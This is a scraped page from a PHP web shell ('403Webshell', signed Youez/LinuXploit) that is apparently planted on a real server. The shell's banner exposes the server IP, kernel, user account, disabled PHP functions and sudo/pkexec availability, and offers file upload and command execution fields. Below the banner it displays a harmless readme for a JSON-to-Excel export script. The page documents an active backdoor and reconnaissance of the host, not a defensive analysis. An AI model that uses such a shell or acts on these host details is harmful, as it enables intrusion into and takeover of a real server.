403Webshell
Server IP : 103.175.220.74  /  Your IP : 216.73.216.151
Web Server : nginx/1.18.0
System : Linux p-floo-wj1-db 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : deploy ( 1003)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app/services/json-to-xlsx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app/services/json-to-xlsx/readme.md
# Generic Excel Export Script
This script reads JSON file and will generate Excel file from that JSON file.

## 📌 Requirements
- Python3
- Dependencies installed from `./requirements.txt`

### 1️⃣ Install Dependencies
Run the following command to install all required packages:
```bash
pip3 install -r ./requirements.txt
```

## 🚀 How to Run the Script
Execute the script using the following command:
```bash
python3 ./exporter.py /path/to/input.json /path/to/output.xlsx
```

Example:
```bash
python3 ./exporter.py ./sample.json ./sample.xlsx
```

## 📂 Sample JSON Structure
For the sample json structure checkout `./sample.json` file included in the repository.

## 🛠 Troubleshooting
- If you get a `ModuleNotFoundError` error, ensure all dependencies are installed using:
```bash
pip3 install -r ./requirements.txt
```
- If the script fails because of permissions error, try running this command:
```bash
chmod +x ./exporter.py
```
- If you get a `No such file or directory` error, ensure the directory exists before running the script.

## ✨ Features
- ✅ Generate excel file from the specified JSON file
- ✅ Define specific fields for each sheet
- 🚧 Settings - Border Customization
- 🚧 Settings - Header Customization
- 🚧 Settings - Custom Start Position (Not only from A1)
- 🚧 Settings - Show/Hide Footer & Footer Customization
- 🚧 Settings - Merge Row/Cell

Youez - 2016 - github.com/yon3zu
LinuXploit